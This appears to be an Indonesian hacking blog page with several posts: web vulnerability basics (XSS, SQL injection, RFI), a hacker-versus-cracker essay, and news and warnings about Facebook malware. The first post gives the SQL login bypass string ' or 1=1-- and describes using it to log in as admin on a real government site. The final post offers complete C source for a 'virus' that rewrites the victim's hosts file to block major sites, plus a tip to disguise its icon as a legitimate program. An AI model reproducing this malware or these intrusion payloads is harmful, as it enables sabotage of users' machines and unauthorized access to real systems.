Tetapi pada dasarnya defacing ( perubahan kontent ) hanya? terjadi disisi client saja. Yang paling fatal dari bug ini adalah anda dapat? mencuri cookie? kemudian menggunakannya? untuk berbuat sesuatu yang … :D~~
?
Contohnya :
Sensored [ maaf ]
SQL Injection
SQL Injection sebenarnya terjadi karena seorang attacker? yang mencoba melakukan inject query sql?? melalui form ataupun via address bar pada browser internet.? Sebagai contohnya ketika penulis mencoba login? sebagai admin pada situs pemerintah Sumatra Selatan ( http://www.sumsel.go.id? ).? Dengan menggunakan query ‘ or 1=1–? penulis pun berhasil login. Pada dasarnya ‘ atau single quote dan or 1=1– itu? berfungsi untuk membingungkan si server sql, sehingga yang dilakukan oleh? server sql adalah menjalankan query ” select * “. Yang terjadi adalah? penulis diloloskan untuk login sebagai admin.
???
Berikut adalah gambar yang penulis capture ketika penulis? berhasil login sebagai admin pada situs http://www.sumsel.go.id
Gambar ini diambil sebelum penulis mengontak webmaster? via email untuk mempatch script phpnya.
???
RFI ( Remote File Inclusion )
Sebelumnya silahkan membaca artikel fungsi require, require_once, include, dan include_one RFI sendiri terjadi karena kesalahan programmer ketika? melakukan coding, yakni menggunakan variable dalam fungsi-fungsi tersebut.? Apabila user memasukkan url evil script miliknya pada variable yang digunakan? dalam fungsi require ataupun include, yang terjadi adalah evil script tersebut? dapat dieksekusi secara remote, dengan kata lain, attacker dapat menjalan? command di server milik anda untuk merubah konten situs atau bahkan merusaknya.? :D~~
Untuk contohnya silahkan anda cari di www.milw0rm.com :D~
Keywordnya Remote File Inclusion. :D~
Pengecekan BUG
Pengecekan bug sendiri bisa dilakukan secara manual. Hmmm? … tentunya ini akan memakan banyak waktu. Terbentuklah tools yang dapat? secara cepat dan otomatis menemukan bug-bug yang terselip di php script secara? tidak sengaja maupun sengaja. :D~
???
Pada dasarnya untuk mengecek bug dapat dilakukan secara? online maupun offline. Penulis sarankan pengecekan bug ini dilakukan di? localhost anda ( offline ) saja.
Cek Bug XSS
Tools untuk mengecek XSS pada script php milik anda? adalah sebuah addons mozilla firefox yang disediakan secara gratis.? Penginstallannya pun tergolong mudah, berikut juga cara penggunaannya.
???
Tools tersebut dapat? anda download disini :

http://www.securitycompass.com/exploit_me/xssme/xssme-0.2.1.xpi
Cek Bug SQL Injection
Untuk periode saat ini defacing dengan SQL Injection? digolongkan paling favorit dan tentunya paling banyak digunakan, mungkin karena? penyerangan yang dilakukan cukup mudah, cukup memiliki dasar pengetahuan syntax? sql. Lagi-lagi sebuah addons mozilla firefox yang cukup ampuh dan mudah? digunakan telah disediakan untuk melakukan cek bug sql injection. :D
???
Anda dapat mendownloadnya disini :
http://www.securitycompass.com/exploit_me/sqlime/sqlime-0.2.xpi
Penggunaanya pun tidak terlalu sulit.
Cek BUG Remote File Inclusion
Sebelumya anda download terlebih dahulu scriptnya disini http://www.newhack.org/dl_jump.php?id
Setelah itu silahkan download active perl, compiler? interpreter ini nantinya digunakan untuk menjalankan script? inclusionscanner.pl.
Dan kemudian copykan inclusionscanner.pl tersebut ke? direktori c:perlbin
Langkah selanjutnya :
1. Masukkan? script? yang akan anda scan kedalam sebuah direktori di c:perl php.
ex : c:perlwordpress.
2. Masuk ke command prompt, start | run | cmd | enter
3.? Setelah itu? masuk ke direktory c:perlbin, cd c:perlbin
4. Jalankan scriptnya,
C:Perlbin>perl.exe inclusionscanner.pl
#Will check a directory for all includes and unsets
#Coded by Ironfist (ironsecurity.nl)
#Usage: create a folder in your perlfolder and put the? files to be scanned in it
, next type the folder name below (eg myfolder)
#GIVES ERRORS WHEN CHECKING SUBFOLDERS: IGNORE THEM :)
?
Directory to read? c:perlwp
?
kemudian lihat hasilnya di c:perlbinresult.html
?
berikut hasil scan ketika penulis mencoba untuk melakukan? cek inclusion pada wordpress-2.3.3 :
???
? FOUND: require_once($locale_file);
? in c:perlwp/wp-settings.php FOUND:? require_once($import_root . ‘/’ . $file);
? in c:perlwp/wp-admin/import.php FOUND:? include_once($this->PluginDir . “class-smtp.php”);
? in c:perlwp/wp-includes/class-phpmailer.php FOUND:? include($lang_path.’phpmailer.lang-’.$lang_type.’.php’);
? in c:perlwp/wp-includes/class-phpmailer.php FOUND:? include($lang_path.’phpmailer.lang-en.php’);
? in c:perlwp/wp-includes/class-phpmailer.php FOUND:? include($template);
? in c:perlwp/wp-includes/template-loader.php FOUND:? include($template);
? in c:perlwp/wp-includes/template-loader.php FOUND:? include($template);
? in c:perlwp/wp-includes/template-loader.php FOUND:? include($template);
? in c:perlwp/wp-includes/template-loader.php FOUND:? include($template);
? in c:perlwp/wp-includes/template-loader.php FOUND:? include($template);
? in c:perlwp/wp-includes/template-loader.php FOUND:? include($template);
? in c:perlwp/wp-includes/template-loader.php FOUND:? include($template);
? in c:perlwp/wp-includes/template-loader.php FOUND:? include($template);
? in c:perlwp/wp-includes/template-loader.php FOUND:? include($template);
? in c:perlwp/wp-includes/template-loader.php FOUND:? include($template);
? in c:perlwp/wp-includes/template-loader.php FOUND:? include($template);
? in c:perlwp/wp-includes/template-loader.php FOUND:? include($template);
? in c:perlwp/wp-includes/template-loader.php FOUND:? require_once($_template_file);
in c:perlwp/wp-includes/theme.php

woww !!! :D~~ silahkan di exploitasi eh di patch script? milik anda. :D~~
Ingat, jangan merusak, jangan berbuat vandal, jika anda? menemukan bug di situs lain seperti yang telah saya sebutkan diatas, silahkan? beritahu pihak admin.greetz to : ilmuwebsite staff, member ilmuwebsite,
special for jojo and her baby.
Selengkapnya >>

Sabtu, 07 Januari 2012

Apa itu hacker ?

Dalam membangun sistem jaringan berbasis internet masalah keamanan menjadi suatu hal yang mutlak diperlukan untuk mencegah berbagai kerawanan atau gangguan dalam sistem kita. Gangguan-gangguan seperti inilah yang di manfaatkan oleh orang-orang yang tidak bertanggung jawab untuk menjalankan aksi kejahatannya, mereka di kenal dengan sebutan hecker dan cracker dua istilah ini paling disebut ketika kita berbicara mengenai sistem keamanan data salah satunya sisetm keamanan data jaringan internet yang kita saksikan pada video persentasi.
Hecker adalah sebutan untuk mereka yang menggunakan keahlian dalam hal komputer untuk melihat, menemukan dan meperbaiki kelemahan sistem keamanan dalam sebuah sistem komputer atau softwre.
Dalah sebutan untuk mereka yang meanfaatkan kelemahan-kelemahan pada sebuah sistem atau software keamanan untuk melakukan tindakan kejahatan.Duas heckeryang paling dikenal dalam membajak sistem data jaringan telepon/internet adalah kapten zep dan cold fire. Mereka bekerja untuk mencari celah-celah dalam sebuah sistem keamanan untuk membuat sistem menjadi sangat sibuk dan bekerja diatas batas kemampuannya sehingga sistem akan menjadi sangat lemah dan mudah untuk diCrack
Seorang hacker kini bisa memainkan peran sebaga konsultan keamanan soft ware bagi perusahaan-perusahaan yang menggunakan sistem komputer sebagai tulang punggung berjalannnya kegiatan sebuah perusahaan.
Menjadi hacker adalah sebuah kebaikan tetapi menjadi seseorang cracker adalah sebuah kejahatan

Semoga Bermanfaat ~
Selengkapnya >>

Malware Ramnit Curi 45 Ribu Username Dan Password Facebook

Facebook ternyata masih rentan terkena virus, setelah banyaknya virus berupa link, kini sebuah program malware bernama Ramnit kembali membuat ulah. Malware ini dilaporkan mencuri password dan username milik 45 ribu lebih pengguna Facebook.
Sebagian besar pengguna Facebook yang menjadi korban adalah pengguna Facebook di Prancis dan Inggris. Tidak puas dengan hanya mencuri username dan password Facebook, Ramnit juga dikabarkan telah menginfeksi komputer Windows dan file Microsoft Office serta HTML.

Diduga hacker menggunakan data rahasia yang dicurinya untuk log-in ke akun Facebook korban dan menyebar link jahat ke teman-teman Facebook korban.
Parahnya, jika korban menggunakan username dan password yang sama untuk akun email, situs microbloging atau situs jejaring sosial lainnya, maka semuanya akan terkena virus.
Sumber : Berita Teknologi

Semoga Bermanfaat ~
Selengkapnya >>

Kamis, 24 November 2011

Warning! Virus Mc Donald di Facebook

Hati-hati buat Facebookers!.... 
abaikan saja kalo mendapat pesan, event atau apapun mengenai Video Mc Donald......ini virus yang akan mencuri identitas facebookers dan akan mengirim pesan berantai ke temen agan-agan.....

ane udah pernah dapat invitationnya dari temen...karena ane udah tau kalo ini adalah virus, langsung ane delete....

berikut kutipannya dari kompas (link: http://tekno.kompas.com/read/2010/10....di.Facebook-8)


Quote:
Originally Posted by kompas

JAKARTA, KOMPAS.com — Pengguna Facebook di Indonesia hari ini dihebohkan undangan berisi link atau tautan beralamat di bit.ly untuk menonton video heboh mengenai McDonald. Banyak macam judulnya, ada "The Truth Behind McDonald" dan "Shocking McDonald Video". Tetapi, bukannya dapat video yang dimaksud, Facebook Anda malah menyebarkan undangan yang sama ke teman-teman dan mengotori inbox.

Hati-hati karena semua itu hanyalah trik orang yang iseng untuk memanfaatkan akun Facebook Anda. Inilah bentuk virus baru di Facebook untuk mencuri data pribadi penggunanya. Jika pelakunya jahat, maka bukan tidak mungkin akun Anda dipakai untuk bermacam penipuan lewat Facebook.

Kalau ditelusuri, Graham Cluley dari perusahaan keamanan internet dan komputer Sophos sudah mengingatkan bahwa penyebaran virus ini sudah berlangsung sejak Agustus 2010. Menurutnya, penyebar virus memang selalu mengubah judul, tetapi semuanya terkait McD. Walau begitu, judul tersebut bisa saja diganti dengan judul menarik apa pun. Facebook pun sudah dihubungi untuk mencegah penyebarannya. Namun, virus itu rupanya masih bisa bocor hingga ke pengguna Indonesia.

Bagaimana sang pelaku mencuri data Facebook Anda? Begini cara kerjanya. Undangan tersebut menyertakan tautan ke alamat situs dengan iming-iming video berisi informasi aneh tentang McDonald. Begitu tautan tersebut diklik, akan muncul aplikasi Facebook dengan nama "Worst McD's Customer". Untuk dapat membuka video, halaman tersebut meminta izin Anda untuk mengakses identitas, posting di wall, akses data kapan saja, akses ke informasi kontak, bahkan mengatur halaman di Facebook.

Jika pilihan allow yang diklik, boro-boro dapat video yang diharapkan. Aplikasi tersebut malah mengirimkan secara otomatis undangan yang sama ke semua teman Anda. Bayangkan kalau semua yang diizinkan pengguna dimanfaatkan pelaku. Halaman Facebook Anda bakal diacak-acak.

Jadi, kalau dapat undangan dengan judul terkait McD dan sejenisnya, abaikan saja. Kalau ragu-ragu, cek informasi apa saja yang mereka ingin akses. Jika berlebihan, tinggalkan tautan tersebut. Jangan gadaikan keinginan Anda melihat video aneh-aneh dengan mengorbankan semua akses ke akun Facebook Anda ke orang lain.

Nah, lalu bagaimana kalau Anda telanjur terkena jebakan tersebut? Tenang saja, masih ada cara untuk mengobatinya. Menurut Cluley, hapus semua referensi yang mengarah ke link tersebut, baik di status maupun setting aplikasi. Pastikan tidak ada bagian Facebook Anda yang mengarahkan ke tautan tersebut.
Selengkapnya >>

Selasa, 22 November 2011

A Virus Program to Block Websites

Sebagian besar dari kita akrab dengan virus yang digunakanuntuk memblokir situs Youtube Orkut dan. Jika Anda penasarantentang membuat seperti virus pada Anda sendiri, di sini adalah bagaimana hal itu bisa dilakukan. Seperti biasa saya akan menggunakan bahasa pemrograman favorit saya 'C' untuk membuat virus ini memblokir situs. Saya akan memberikanpengantar singkat tentang virus ini sebelum saya melompat ke dalam jargon teknis.

Virus ini telah secara eksklusif dibuat dalam 'C'. Jadi, siapa pundengan pengetahuan dasar tentang C akan mampu memahami kerja dari virus. Hal ini perlu virus untuk diklik hanya sekali oleh korban. Setelah diklik, itu akan blok daftar website yang telah ditentukan dalam kode sumber. Korban tidak akan pernah dapat menjelajahi situs-situs kecuali dia menginstal ulang sistem operasi itu. Ini memblokir tidak hanya terbatas ke IE atau Firefox.Jadi sekali diblokir, situs tidak akan muncul dalam salah satuprogram browser.


Berikut adalah source virus'a ...

#include<stdio.h>
#include<dos.h>
#include<dir.h>

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

Bagaimana Kompilasi?

Untuk langkah-demi-langkah panduan kompilasi, lihat posting saya Bagaimana mengkompilasi Program C.

pengujian

1. Untuk menguji, jalankan modul dikompilasi. Ini akan memblokir situs yang tercantum dalam kode sumber.

2. Setelah Anda menjalankan block_Site.exe file, restart programbrowser Anda. Kemudian, ketik URL situs yang diblokir danAnda akan melihat browser menampilkan kesalahan "Halaman tidak dapat ditampilkan".

3. Untuk menghapus jenis virus berikut Jalankan


%windir%\system32\drivers\etc

4.Delete all such entries which contain the names of blocked sites.
NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ?
. 
Selengkapnya >>